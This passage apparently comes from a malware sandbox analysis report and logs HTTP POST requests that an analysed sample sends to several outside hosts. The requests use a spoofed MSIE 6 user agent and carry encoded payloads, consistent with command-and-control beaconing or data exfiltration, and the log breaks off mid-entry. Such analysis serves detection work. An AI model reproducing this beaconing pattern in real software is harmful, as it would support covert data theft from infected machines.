50 69 74 39 62 64 52 31 2f 53 53 73 32 34 45 31 37 6f 4e 4d 70 37 30 77 44 54 53 6f 31 70 77 4a 6f 30 52 35 5a 57 6f 71 30 77 68 53 73 32 55 67 77 6d 74 6a 4d 49 79 72 44 5a 47 6e 4a 38 43 76 71 37 50 39 7a 54 35 52 51 67 30 66 76 31 56 56 4b 2f 35 37 68 50 37 46 47 45 4e 71 65 56 65 56 79 45 6f 56 41 7a 34 67 69 49 76 79 68 79 37 62 47 6b 6e 62 45 51 45 62 70 2f 6a 69 6a 76 30 51 32 68 45 45 44 6f 65 38 78 72 76 35 37 79 4c 49 67 42 75 79 73 35 4b 4a 45 56 48 44 4f 53 4e 79 71 45 43 4c 5a 49 39 47 35 65 38 78 68 7a 50 39 2f 59 36 31 36 33 6b 37 45 7a 51 57 73 31 65 41 4a 71 70 6c 48 4d 78 6a 39 72 43 77 62 33 33 6b 37 2f 35 38 44 32 56 4c 33 76 63 42 4a 77 35 62 76 2b 35 66 69 4b 45 52 34 37 47 67 39 68 78 4d 59 64 61 36 55 73 61 32 4b 48 43 75 4e 6f 53 55 65 4c 6f 56 52 4c 56 71 6b 73 56 35 68 6b 6b 43 33 54 33 76 55 57 42 49 43 53 51 70 37 6a 54 7a 35 36 55 46 46 45 6f 4c 79 33 68 50 75 54 71 6b 2f 62 35 54 76 53 53 62 53 43 4a 54 63 44 59 61 6e 50 6c 6b 4b 30 6d 6c 70 64 75 66 73 54 73 77 6a 73 38 36 50 6b 70 52 74 47 39 48 6f 59 4d 4e 52 63 37 30 4d 59 4b 73 6b 54 33 54 4a 44 57 64 6a 75 57 55 39 47 5a 35 6b 31 65 45 46 55 6c 2b 4e 4e 39 50 59 36 32 37 69 64 6c 4c 4f 51 69 4c 30 4c 72 6a 67 44 70 30 3d Data Ascii: n1jvIW2Q7w0MfyKpZLbJfyavNfVbIPX78d+B01lV6XaSRESTidaeamf0bimIU1JpG/M1OYPU3uEnMgxNNe9II4h81UAKzz/4LVeWH0NaD6Ak07bZ8yBR7TKxjyFNFZeV1ZxSmayJgLo9C2yQae6Pit9bdR1/SSs24E17oNMp70wDTSo1pwJo0R5ZWoq0whSs2UgwmtjMIyrDZGnJ8Cvq7P9zT5RQg0fv1VVK/57hP7FGENqeVeVyEoVAz4giIvyhy7bGknbEQEbp/jijv0Q2hEEDoe8xrv57yLIgBuys5KJEVHDOSNyqECLZI9G5e8xhzP9/Y6163k7EzQWs1eAJqplHMxj9rCwb33k7/58D2VL3vcBJw5bv+5fiKER47Gg9hxMYda6Usa2KHCuNoSUeLoVRLVqksV5hkkC3T3vUWBICSQp7jTz56UFFEoLy3hPuTqk/b5TvSSbSCJTcDYanPlkK0mlpdufsTswjs86PkpRtG9HoYMNRc70MYKskT3TJDWdjuWU9GZ5k1eEFUl+NN9PY627idlLOQiL0LrjgDp0=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fcwcvt.orgCache-Control: no-cacheData Raw: 71 56 6b 71 61 45 64 6f 46 56 6a 35 39 55 4f 39 64 6f 67 41 62 42 43 47 63 30 38 39 42 70 51 78 61 39 44 41 71 4b 2b 4f 41 61 54 4d 44 4e 4e 75 73 67 52 54 39 4c 4b 55 79 7a 55 62 38 61 6a 78 35 34 31 42 62 44 35 68 4d 4b 63 4a 69 38 52 59 56 68 4b 31 59 4e 72 48 75 48 69 74 69 46 59 61 30 33 6c 61 5a 36 6f 46 74 38 38 34 7a 62 4b 78 58 43 6d 57 42 39 35 64 32 73 45 78 65 6d 56 45 66 6e 6e 74 52 4d 46 46 38 63 30 6d 37 73 58 51 31 72 71 73 74 31 72 4a 2b 5a 6f 43 68 4e 68 4f 33 37 72 38 75 46 6b 73 4c 4b 7a 77 76 50 67 77 66 52 55 46 4f 63 66 6e 35 57 6e 44 42 49 78 75 6f 50 73 7a 63 2f 30 50 69 72 4f 37 36 4a 51 49 72 4a 49 53 52 4b 48 68 4c 65 35 57 6d 4b 63 46 57 45 77 45 61 73 7a 4a 46 6c 43 57 36 38 4c 65 7a 46 46 49 2b 75 4d 33 55 54 35 53 78 63 71 73 47 50 6a 2f 56 4a 70 4b 38 69 76 45 37 64 31 76 75 71 64 72 69 5a 67 48 50 45 37 55 79 36 4a 50 43 6e 4d 62 68 63 66 52 56 52 57 77 68 41 38 50 4c 2f 7a 34 52 71 74 43 6d 63 2b 77 50 75 73 48 31 42 66 46 67 2b 42 49 65 62 43 36 42 6f 50 37 67 71 39 31 4b 50 47 56 4d 4d 39 6a 6a 56 73 55 4b 31 6f 66 72 4d 63 6e 68 63 4d 4e 66 4e 44 4f 76 59 6b 6e 70 77 4e 4e 67 54 74 49 76 34 2f 45 39 70 57 5a 72 63 74 7a 5a 47 77 2f 67 6e 42 78 70 66 53 76 45 64 73 6f 43 7a 73 77 6e 4d 50 38 37 42 48 2b 61 64 66 35 46 5a 56 4d 6c 67 79 31 56 47 4d 32 6b 44 44 49 39 51 55 39 36 74 78 33 44 76 4d 41 41 35 6f 4a 6e 72 50 73 2b 69 72 31 4d 74 46 2f 47 32 78 56 6f 56 7a 36 66 48 49 61 4a 58 72 2f 58 6b 6f 72 70 43 69 6e 75 55 47 46 62 32 64 41 35 37 77 6b 65 45 61 56 33 6b 5a 49 64 36 6d 62 61 66 58 44 32 34 6f 44 78 41 61 45 56 32 55 35 79 68 30 61 59 41 52 54 6c 44 72 45 59 63 6b 4f 59 4c 32 68 31 77 39 49 49 6a 6e 7a 42 75 4b 30 77 6b 5a 52 Data Ascii: qVkqaEdoFVj59UO9dogAbBCGc089BpQxa9DAqK+OAaTMDNNusgRT9LKUyzUb8ajx541BbD5hMKcJi8RYVhK1YNrHuHitiFYa03laZ6oFt884zbKxXCmWB95d2sExemVEfnntRMFF8c0m7sXQ1rqst1rJ+ZoChNhO37r8uFksLKzwvPgwfRUFOcfn5WnDBIxuoPszc/0PirO76JQIrJISRKHhLe5WmKcFWEwEaszJFlCW68LezFFI+uM3UT5SxcqsGPj/VJpK8ivE7d1vuqdriZgHPE7Uy6JPCnMbhcfRVRWwhA8PL/z4RqtCmc+wPusH1BfFg+BIebC6BoP7gq91KPGVMM9jjVsUK1ofrMcnhcMNfNDOvYknpwNNgTtIv4/E9pWZrctzZGw/gnBxpfSvEdsoCzswnMP87BH+adf5FZVMlgy1VGM2kDDI9QU96tx3DvMAA5oJnrPs+ir1MtF/G2xVoVz6fHIaJXr/XkorpCinuUGFb2dA57wkeEaV3kZId6mbafXD24oDxAaEV2U5yh0aYARTlDrEYckOYL2h1w9IIjnzBuK0wkZR
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jacomfg.comCache-Control: no-cacheData Raw: 42 33 7a 36 53 6f 33 33 56 6c 68 41 57 42 44 56 42 4c 4e 41 6a 45 5a 44 69 4b 76 37 35 55 75 63 45 57 46 41 4a 4d 38 34 53 56 2f 55 44 79 45 45 43 78 6d 6f 69 4c 31 44 53 71 62 62 77 79 41 69 49 76 51 52 6b 71 36 6a 37 64 59 72 5a 72 2b 77 2b 5a 4f 78 4e 32 30 49 32 57 74 78 51 30 77 4b 71 6c 44 76 72 61 61 35 44 7a 37 38 46 4a 48 72 6a 4b 50 2f 35 43 67 78 39 51 70 75 47 50 4d 48 64 43 53 72 6c 58 6c 46 63 6a 7a 57 6e 55 45 37 59 77 42 35 48 4a 74 4d 66 33 43 62 58 42 50 74 6a 52 4a 74 6e 37 51 6f 70 37 44 2f 5a 78 4e 57 39 69 6b 32 36 58 31 6c 38 74 70 76 52 35 51 39 69 2f 69 76 6d 6f 37 48 72 76 63 47 70 76 6b 75 69 4d 65 44 36 50 44 67 4b 64 4f 62 30 6c 52 5a 34 35 77 62 58 6d 75 52 51 6b 7a 36 78 65 50 7a 4c 70 48 73 64 42 78 50 6a 6c 79 70 65 33 67 62 43 77 50 2b 64 49 6f 49 4e 54 59 7a 47 31 6b 43 63 35 56 72 32 72 34 79 4e 5a 4a 55 65 48 78 70 6d 66 39 54 68 35 65 62 5a 32 4b 48 34 36 6a 32 55 73 36 71 4c 6f 73 46 70 4c 4f 47 30 4e 4c 4f 4c 33 41 71 68 34 72 4b 55 68 4d 67 44 52 30 2b 76 73 31 6e 67 65 71 31 6e 6e 63 44 71 54 63 73 62 70 41 32 6f 78 46 46 37 38 55 79 46 66 55 4f 56 4f 6a 6c 62 36 37 45 4c 52 54 73 74 6e 47 7a 2b 51 6e 58 4f 6a 6c 78 55 42 42 31 6a 6a 56 6b 48 37 75 4e 31 34 72 59 6c 51 62 58 52 37 42 6c 54 4d 4c 4e 6f 54 74 48 46 6e 2f 31 6b 4c 75 58 57 30 36 2f 67 47 7a 70 4d 64 7a 52 36 78 48 62 70 5a 54 71 70 73 38 48 4e 7a 34 53 67 34 64 2f 72 51 68 45 7a 53 79 30 69 4c 30 56 50 41 75 4b 7a 6a 62 41 4c 6a 6f 53 5a 72 63 77 53 7a 61 6f 63 6c 74 78 4c 63 5a 4a 57 77 4e 6f 37 75 56 58 33 62 54 67 71 55 4f 6b 71 6c 4a 62 69 7a 59 31 55 65 6e 4d 6f 48 43 6c 46 54 6f 76 73 70 42 6e 31 6e 48 64 31 2f 41 57 30 6b 69 54 48 6a 43 63 4b 67 66 32 71 7a 69 31 46 33 6d 34 46 74 64 76 4e 6d 50 39 6b 6c 34 3d Data Ascii: B3z6So33VlhAWBDVBLNAjEZDiKv75UucEWFAJM84SV/UDyEECxmoiL1DSqbbwyAiIvQRkq6j7dYrZr+w+ZOxN20I2WtxQ0wKqlDvraa5Dz78FJHrjKP/5Cgx9QpuGPMHdCSrlXlFcjzWnUE7YwB5HJtMf3CbXBPtjRJtn7Qop7D/ZxNW9ik26X1l8tpvR5Q9i/ivmo7HrvcGpvkuiMeD6PDgKdOb0lRZ45wbXmuRQkz6xePzLpHsdBxPjlype3gbCwP+dIoINTYzG1kCc5Vr2r4yNZJUeHxpmf9Th5ebZ2KH46j2Us6qLosFpLOG0NLOL3Aqh4rKUhMgDR0+vs1ngeq1nncDqTcsbpA2oxFF78UyFfUOVOjlb67ELRTstnGz+QnXOjlxUBB1jjVkH7uN14rYlQbXR7BlTMLNoTtHFn/1kLuXW06/gGzpMdzR6xHbpZTqps8HNz4Sg4d/rQhEzSy0iL0VPAuKzjbALjoSZrcwSzaocltxLcZJWwNo7uVX3bTgqUOkqlJbizY1UenMoHClFTovspBn1nHd1/AW0kiTHjCcKgf2qzi1F3m4FtdvNmP9kl4=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.naoi-a.comCache-Control: no-cacheData Raw: 46 55 4f 54 7a 48 31 6e 65 41 30 75 57 32 4b 51 4e 41 4c 39 2f 37 5a 6b 56 55 2b 72 66 4a 46 53 41 52 69 69 51 49 71 51 30 74 7a 74 2b 71 6e 6d 6a 38 54 47 49 4b 72 42 37 33 77 36 50 47 56 68 59 62 56 5a 79 68 45 53 4c 52 39 70 5a 36 51 57 73 63 7a 66 4a 6a 45 6f 54 79 33 72 78 7a 56 74 49 78 51 30 44 54 6b 32 76 51 59 58 53 4f 7a 47 79 68 34 4a 6c 7a 6b 7a 42 7a 5a 32 78 78 53 41 43 73 78 66 4c 55 52 49 66 51 68 6c 65 5a 57 74 2b 4d 36 6f 39 33 34 7a 58 43 74 37 38 57 65 57 34 61 55 6d 57 41 72 74 69 68 67 4a 54 33 4d 4e 48 74 2b 6a 4e 34 54 39 52 6a 6b 4e 34 49 38 4c 55 32 68 65 4e 72 76 70 41 39 50 58 45 71 65 55 65 2b 72 70 30 58 44 47 32 66 75 4b 6d 52 35 44 49 46 36 31 69 61 36 49 56 7a 6a 51 6e 41 4d 37 6a 69 68 59 58 45 31 54 75 30 2b 65 52 50 54 4a 71 53 66 43 65 36 53 62 4f 74 62 37 71 69 6a 6e 48 44 72 64 47 6e 69 4d 55 65 31 57 62 66 7a 4c 4d 46 44 6b 33 6c 61 32 61 32 48 67 51 46 51 55 50 30 6d 42 69 51 6b 54 48 70 44 6c 41 54 36 6d 55 2b 49 56 4a 7a 50 6d 43 50 2f 69 6e 39 48 76 67 61 49 4f 43 46 58 34 30 4e 36 42 73 4e 4e 62 57 64 48 4f 32 68 5a 32 6a 6e 6c 37 4d 58 4e 62 49 4b 78 68 44 37 64 6f 36 34 49 63 48 64 63 56 76 37 51 44 33 78 77 46 49 43 52 35 55 74 6f 41 6d 6c 70 62 58 6f 4f 4f 71 45 39 43 69 36 6d 37 77 38 68 42 62 4b 30 45 30 69 42 33 44 4e 6c 66 41 54 63 35 43 41 5a 69 2b 62 49 57 63 6a 70 76 78 41 79 63 72 30 4c 62 35 30 2f 31 62 70 52 52 47 45 44 6e 34 46 54 54 52 61 58 44 78 32 41 46 43 50 6f 33 75 63 61 76 58 70 67 61 36 53 47 42 56 77 42 51 61 52 75 5a 41 4b 6c 31 74 4c 4c 59 52 33 4d 77 77 6b 62 41 4b 31 4a 49 52 4b 7a 68 7a 6d 6c 4b 46 75 2b 52 57 65 54 52 74 6a 73 64 6e 6d 31 44 41 35 77 5a 43 4d 65 67 Data Ascii: FUOTzH1neA0uW2KQNAL9/7ZkVU+rfJFSARiiQIqQ0tzt+qnmj8TGIKrB73w6PGVhYbVZyhESLR9pZ6QWsczfJjEoTy3rxzVtIxQ0DTk2vQYXSOzGyh4JlzkzBzZ2xxSACsxfLURIfQhleZWt+M6o934zXCt78WeW4aUmWArtihgJT3MNHt+jN4T9RjkN4I8LU2heNrvpA9PXEqeUe+rp0XDG2fuKmR5DIF61ia6IVzjQnAM7jihYXE1Tu0+eRPTJqSfCe6SbOtb7qijnHDrdGniMUe1WbfzLMFDk3la2a2HgQFQUP0mBiQkTHpDlAT6mU+IVJzPmCP/in9HvgaIOCFX40N6BsNNbWdHO2hZ2jnl7MXNbIKxhD7do64IcHdcVv7QD3xwFICR5UtoAmlpbXoOOqE9Ci6m7w8hBbK0E0iB3DNlfATc5CAZi+bIWcjpvxAycr0Lb50/1bpRRGEDn4FTTRaXDx2AFCPo3ucavXpga6SGBVwBQaRuZAKl1tLLYR3MwwkbAK1JIRKzhzmlKFu+RWeTRtjsdnm1DA5wZCMeg
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 604User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.kernsafe.comCache-Control: no-cacheData Raw: 34 58 74 51 79 55 31 65 33 6c 66 58 63 2b 37 66 78 47 76 52 67 51 59 55 32 4c 36 37 73 39 30 73 30 5a 4e 70 58 71 78 77 6f 55 48 4f 6f 32 4e 54 7a 6f 43 63 61 65 65 71 44 42 4c 32 47 75 6f 66 4a 6e 75 41 71 72 4d 33 55 36 4b 2b 51 4f 47 4b 5a 4c 31 79 68 64 78 35 39 76 6c 62 76 58 35 5a 72 48 2b 45 54 78 56 6b 63 34 69 79 46 4f 69 64 46 37 53 67 75 4a 54 59 7a 55 70 4b 46 58 30 7a 52 78 36 42 39 4a 78 75 50 39 4e 54 56 38 75 49 61 59 47 67 56 64 41 50 64 39 69 4a 75 50 47 65 7a 46 37 66 30 36 6a 41 52 4f 62 75 77 72 75 69 71 31 41 49 66 4d 4f 34 41 6e 44 41 63 33 2b 46 57 31 72 67 67 46 69 36 5a 35 71 79 62 37 44 69 31 5a 4e 35 4a 73 59 57 43 4f 50 6b 69 70 4a 31 55 73 72 74 6a 6f 53 6d 4f 6d 4d 6a 6c 75 36 79 34 4a 71 77 43 73 62 75 65 2f 47 67 57 2f 5a 39 57 56 78 2b 57 4d 61 68 79 41 57 48 41 6a 43 6d 71 61 50 78 69 53 59 59 75 52 36 42 34 64 65 58 54 34 79 42 63 69 68 48 4f 53 4f 6a 51 44 58 37 36 5a 4a 50 53 36 4c 77 30 7a 49 32 6e 75 47 64 6e 58 65 6e 32 6e 52 36 49 67 70 76 57 58 66 4a 37 2f 2b 6c 53 47 37 45 4e 4c 39 64 58 43 70 4d 6c 73 61 6c 66 2b 67 67 66 67 61 4a 33 65 36 34 42 33 4b 31 42 68 49 61 48 72 67 6b 43 61 59 73 34 30 59 6d 32 41 41 2f 38 31 46 4a 67 64 63 45 6e 63 74 4b 34 6d 64 4d 47 75 49 4b 4f 2f 30 35 78 42 7a 30 76 5a 2f 77 66 56 67 39 76 64 48 7a 68 46 42 2f 63 63 72 32 63 79 55 56 45 56 71 48 75 61 51 52 78 48 48 42 43 42 44 63 43 62 43 61 4f 77 65 53 35 6a 55 58 67 32 56 65 44 4c 61 77 38 2b 7a 46 56 53 6b 4f 5a 67 56 64 70 65 2f 71 2f 42 41 43 66 50 6a 31 58 6f 47 35 6d 34 6a 58 77 73 70 45 65 46 31 2f 42 70 76 4b 45 31 77 44 6c 49 72 2f 5a 39 41 70 42 4a 72 66 61 2b 38 6e 4d 50 33 47 59 47 47 45 4e 2b 48 61 78 63 2f 64 49 76 4a 6f 64 2f 4b 33 47 4d 2f 67 72 37 65 49 45 65 57 73 58 31 37 69 73 75 41 4e 54 48 34 54 79 74 68 6a 39 4d 69 67 78 50 68 43 Data Ascii: 4XtQyU1e3lfXc+7fxGvRgQYU2L67s90s0ZNpXqxwoUHOo2NTzoCcaeeqDBL2GuofJnuAqrM3U6K+QOGKZL1yhdx59vlbvX5ZrH+ETxVkc4iyFOidF7SguJTYzUpKFX0zRx6B9JxuP9NTV8uIaYGgVdAPd9iJuPGezF7f06jARObuwruiq1AIfMO4AnDAc3+FW1rggFi6Z5qyb7Di1ZN5JsYWCOPkipJ1UsrtjoSmOmMjlu6y4JqwCsbue/GgW/Z9WVx+WMahyAWHAjCmqaPxiSYYuR6B4deXT4yBcihHOSOjQDX76ZJPS6Lw0zI2nuGdnXen2nR6IgpvWXfJ7/+lSG7ENL9dXCpMlsalf+ggfgaJ3e64B3K1BhIaHrgkCaYs40Ym2AA/81FJgdcEnctK4mdMGuIKO/05xBz0vZ/wfVg9vdHzhFB/ccr2cyUVEVqHuaQRxHHBCBDcCbCaOweS5jUXg2VeDLaw8+zFVSkOZgVdpe/q/BACfPj1XoG5m4jXwspEeF1/BpvKE1wDlIr/Z9ApBJrfa+8nMP3GYGGEN+Haxc/dIvJod/K3GM/gr7eIEeWsX17isuANTH4Tythj9MigxPhC
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.maktraxx.comCache-Control: no-cacheData Raw: 51 30 4e 44 5a 4a 49 34 4c 6c 68 6a 42 55 35 55 52 66 36 54 70 35 58 37 46 35 6a 69 2f 34 76 69 35 72 38 31 4d 56 7a 33 4b 6d 38 50 6d 66 4f 54 66 73 36 37 62 45 79 55 51 2f 55 69 55 4c 68 62 7a 32 66 6c 64 36 50 6e 33 51 49 34 42 4d 4f 57 42 62 30 4f 75 35 52 72 65 78 78 54 71 51 6a 58 6b 78 4b 2f 63 64 47 30 51 2f 57 54 79 70 4a 45 38 79 54 4a 6c 79 52 43 30 2b 53 39 33 36 6c 4f 6c 59 67 59 67 67 52 41 49 32 74 77 59 77 44 6d 74 4a 45 59 6f 6d 56 68 54 41 69 6a 4e 63 5a 55 41 4d 4a 61 6a 32 72 47 6b 6d 76 63 42 76 59 6a 32 50 35 34 38 6f 49 36 62 37 2f 6e 61 79 45 33 76 64 51 71 35 49 36 38 35 75 76 43 50 6d 34 34 77 31 41 47 48 45 7a 4a 61 65 34 4d 46 6b 78 76 45 51 5a 71 6d 4c 71 5a 50 52 51 67 44 68 36 38 44 4e 43 62 65 6e 35 76 67 5a 45 56 74 6d 6b 66 46 33 78 61 34 43 35 35 4a 2b 77 53 31 34 68 38 78 38 51 44 41 62 4d 69 39 67 48 68 49 4f 42 72 4d 69 6b 70 64 4b 50 43 65 38 31 4b 57 33 38 35 35 45 35 41 36 63 32 6c 41 53 34 4b 2f 6c 65 43 64 64 64 45 69 2f 6f 47 53 36 31 75 66 51 4b 5a 42 66 6c 54 6b 35 64 38 54 63 77 78 7a 58 35 33 76 39 61 78 57 38 38 6f 63 6e 51 6b 66 4e 7a 62 52 64 4b 62 41 37 46 71 54 32 73 2b 53 58 59 2f 4a 4a 71 75 65 55 54 7a 74 31 69 79 32 62 4c 66 70 74 61 61 73 4a 6c 34 5a 62 6e 34 51 2f 32 39 74 37 34 71 78 44 46 76 4d 7a 4e 4a 72 4b 35 42 70 6b 76 61 51 33 77 35 76 5a 38 48 64 67 45 2f 6b 78 52 65 44 38 2f 74 6b 5a 4c 4f 6b 78 48 41 74 74 64 33 45 54 34 66 38 37 51 46 74 61 30 52 64 59 6b 42 37 31 6f 6f 67 67 74 54 74 4a 66 44 53 73 2b 6d 61 35 77 4b 47 7a 47 59 63 6c 47 49 43 6f 76 6a 38 72 4a 6d 6d 4c 4c 39 63 51 4a 51 6f 45 7a 42 6a 74 4a 55 6e 2f 54 65 45 76 59 68 4a 59 45 77 77 48 52 4f 6d 4e 56 47 4c 69 47 2f 34 48 30 62 Data Ascii: Q0NDZJI4LlhjBU5URf6Tp5X7F5ji/4vi5r81MVz3Km8PmfOTfs67bEyUQ/UiULhbz2fld6Pn3QI4BMOWBb0Ou5RrexxTqQjXkxK/cdG0Q/WTypJE8yTJlyRC0+S936lOlYgYggRAI2twYwDmtJEYomVhTAijNcZUAMJaj2rGkmvcBvYj2P548oI6b7/nayE3vdQq5I685uvCPm44w1AGHEzJae4MFkxvEQZqmLqZPRQgDh68DNCben5vgZEVtmkfF3xa4C55J+wS14h8x8QDAbMi9gHhIOBrMikpdKPCe81KW3855E5A6c2lAS4K/leCdddEi/oGS61ufQKZBflTk5d8TcwxzX53v9axW88ocnQkfNzbRdKbA7FqT2s+SXY/JJqueUTzt1iy2bLfptaasJl4Zbn4Q/29t74qxDFvMzNJrK5BpkvaQ3w5vZ8HdgE/kxReD8/tkZLOkxHAttd3ET4f87QFta0RdYkB71ooggtTtJfDSs+ma5wKGzGYclGICovj8rJmmLL9cQJQoEzBjtJUn/TeEvYhJYEwwHROmNVGLiG/4H0b
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.cokocoko.comCache-Control: no-cacheData Raw: 7a 64 63 58 43 67 59 35 78 51 31 49 59 32 45 41 49 54 7a 42 46 53 6e 30 55 45 4a 6d 43 34 66 6d 6d 71 33 35 6c 35 61 7a 45 70 4a 4f 30 59 61 52 46 61 42 48 6b 31 57 61 42 62 32 56 63 32 55 55 68 32 58 75 47 30 55 52 6b 58 55 4e 69 62 76 43 53 68 52 4d 4d 31 76 4e 73 45 6a 78 2f 71 48 4b 76 56 46 61 52 51 69 78 66 48 45 34 6d 4e 50 77 56 78 42 6c 57 70 59 49 6e 64 65 4b 6a 31 46 2b 67 36 55 48 6d 36 56 51 38 50 34 49 79 56 6d 56 30 31 6a 31 58 33 51 6f 75 48 72 79 6c 63 57 49 2f 69 78 65 6b 78 64 32 48 62 39 73 4f 64 7a 63 4a 46 61 61 51 72 61 59 4b 54 2b 48 6f 70 52 35 36 2f 42 61 59 62 48 4f 4c 44 48 30 61 59 4f 71 32 76 34 30 76 72 4a 2f 62 74 38 7a 63 71 4c 58 4f 64 43 65 65 66 4d 65 72 42 63 7a 30 79 49 67 43 4a 34 51 53 56 37 68 31 5a 57 56 51 36 4d 52 55 43 34 6b 34 77 59 56 35 65 66 4e 71 4e 4a 4b 61 56 69 52 76 4c 6c 67 31 65 66 66 72 46 37 65 5a 39 4e 5a 52 34 42 76 78 49 4a 47 68 76 5a 66 4f 42 39 4b 52 41 4f 77 5a 54 50 6a 52 2f 4c 59 31 44 31 65 2f 72 42 61 61 51 69 55 4b 54 50 56 58 79 70 58 30 37 73 67 7a 4d 38 64 6c 30 66 63 52 79 68 65 43 74 49 66 30 43 4d 37 41 4c 63 4c 57 32 4b 31 68 4a 63 4c 48 56 56 42 69 54 6d 5a 2f 4c 48 6d 73 6b 41 59 4d 79 48 54 41 30 56 75 37 47 72 74 32 39 53 68 36 4f 41 72 63 38 66 36 6c 6e 69 63 6a 68 55 34 58 4f 41 63 35 32 6c 47 53 5a 53 55 45 2f 77 6a 4f 4d 7a 57 50 42 36 31 6a 34 49 38 46 32 4f 4e 58 68 61 4f 6e 79 4f 62 38 43 67 4e 2f 58 61 4e 77 5a 48 4f 4c 73 72 51 5a 70 46 4c 4f 58 63 47 42 79 55 74 6a 39 57 49 42 4e 72 63 53 74 65 78 75 4e 70 59 41 73 62 56 6a 66 7a 2b 62 7a 38 62 32 71 38 67 52 6a 50 4e 68 59 41 58 65 49 2b 6e 4f 72 69 33 49 70 36 38 52 31 64 74 69 47 46 42 67 47 4f 39 75 77 74 64 56 4b 77 75 61 48 34 6b 4b 6a 61 6f 4e 46 4d 3d Data Ascii: zdcXCgY5xQ1IY2EAITzBFSn0UEJmC4fmmq35l5azEpJO0YaRFaBHk1WaBb2Vc2UUh2XuG0URkXUNibvCShRMM1vNsEjx/qHKvVFaRQixfHE4mNPwVxBlWpYIndeKj1F+g6UHm6VQ8P4IyVmV01j1X3QouHrylcWI/ixekxd2Hb9sOdzcJFaaQraYKT+HopR56/BaYbHOLDH0aYOq2v40vrJ/bt8zcqLXOdCeefMerBcz0yIgCJ4QSV7h1ZWVQ6MRUC4k4wYV5efNqNJKaViRvLlg1effrF7eZ9NZR4BvxIJGhvZfOB9KRAOwZTPjR/LY1D1e/rBaaQiUKTPVXypX07sgzM8dl0fcRyheCtIf0CM7ALcLW2K1hJcLHVVBiTmZ/LHmskAYMyHTA0Vu7Grt29Sh6OArc8f6lnicjhU4XOAc52lGSZSUE/wjOMzWPB61j4I8F2ONXhaOnyOb8CgN/XaNwZHOLsrQZpFLOXcGByUtj9WIBNrcStexuNpYAsbVjfz+bz8b2q8gRjPNhYAXeI+nOri3Ip68R1dtiGFBgGO9uwtdVKwuaH4kKjaoNFM=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.netcr.comCache-Control: no-cacheData Raw: 57 46 4b 6a 6e 37 51 61 7a 6c 67 74 41 70 42 62 44 77 59 65 65 51 64 34 57 50 79 73 34 53 45 34 4b 48 76 69 35 49 38 6f 30 6f 71 63 35 54 44 31 63 4a 53 46 58 75 70 55 4a 75 67 41 4c 66 70 72 53 4b 38 74 45 6b 4d 71 69 6c 62 58 6a 34 6d 6f 30 75 5a 4f 42 2f 45 41 72 70 38 46 2b 30 6d 42 6f 55 52 43 75 67 75 4d 31 37 50 31 4c 67 56 50 2f 66 65 67 49 57 38 70 61 4c 50 62 2f 33 77 4a 42 5a 46 31 5a 50 66 76 59 67 5a 52 58 4a 39 57 79 46 77 62 58 51 48 6a 37 50 77 4f 62 53 71 65 35 2b 34 4e 43 49 69 35 33 4d 53 57 48 69 65 76 65 76 42 31 72 6a 41 39 56 37 33 30 6d 4a 52 38 45 76 6d 54 6e 47 48 68 4e 75 70 66 30 30 41 39 4d 76 6b 62 52 65 6a 31 79 76 54 53 6c 4c 33 52 68 58 79 63 39 61 2f 56 74 37 69 2f 38 74 43 48 7a 65 66 62 6b 56 57 77 4e 37 46 4b 6c 6b 6a 5a 73 63 71 76 46 43 66 4f 6a 67 62 51 47 4f 6b 45 33 69 37 46 46 52 47 76 62 76 45 36 5a 62 57 78 30 51 52 4f 4a 32 57 4f 54 5a 47 70 57 44 67 4c 53 6c 4c 50 45 5a 6f 5a 69 36 64 33 4d 33 54 4e 6f 63 73 71 2f 54 74 61 59 47 31 4a 79 58 5a 59 63 71 72 45 6b 6c 2b 71 62 74 4e 4c 71 76 64 43 66 34 47 61 72 6c 35 51 65 55 75 4d 49 4c 64 50 30 43 57 77 52 39 53 52 52 4b 49 63 5a 46 73 7a 51 57 62 4b 55 2b 70 58 4e 67 72 47 6a 64 76 43 75 65 77 58 73 69 34 45 7a 48 32 46 46 59 4f 50 6c 46 44 59 6c 73 4f 67 42 6b 67 6e 42 43 63 4c 36 50 55 43 67 77 5a 61 34 58 78 74 31 78 48 38 67 53 78 46 7a 50 6b 64 46 4d 70 4a 4c 6d 47 45 45 37 66 74 51 68 38 62 4e 34 52 4f 2f 6d 62 5a 36 6a 4b 52 70 73 32 6e 48 4c 4b 6e 75 38 67 58 70 75 79 59 35 7a 58 49 6e 74 37 43 31 57 44 43 34 37 5a 50 5a 62 58 72 69 4d 6b 63 39 54 37 6e 72 37 42 4e 41 6a 4e 53 54 55 6b 50 46 74 48 46 72 54 77 3d Data Ascii: 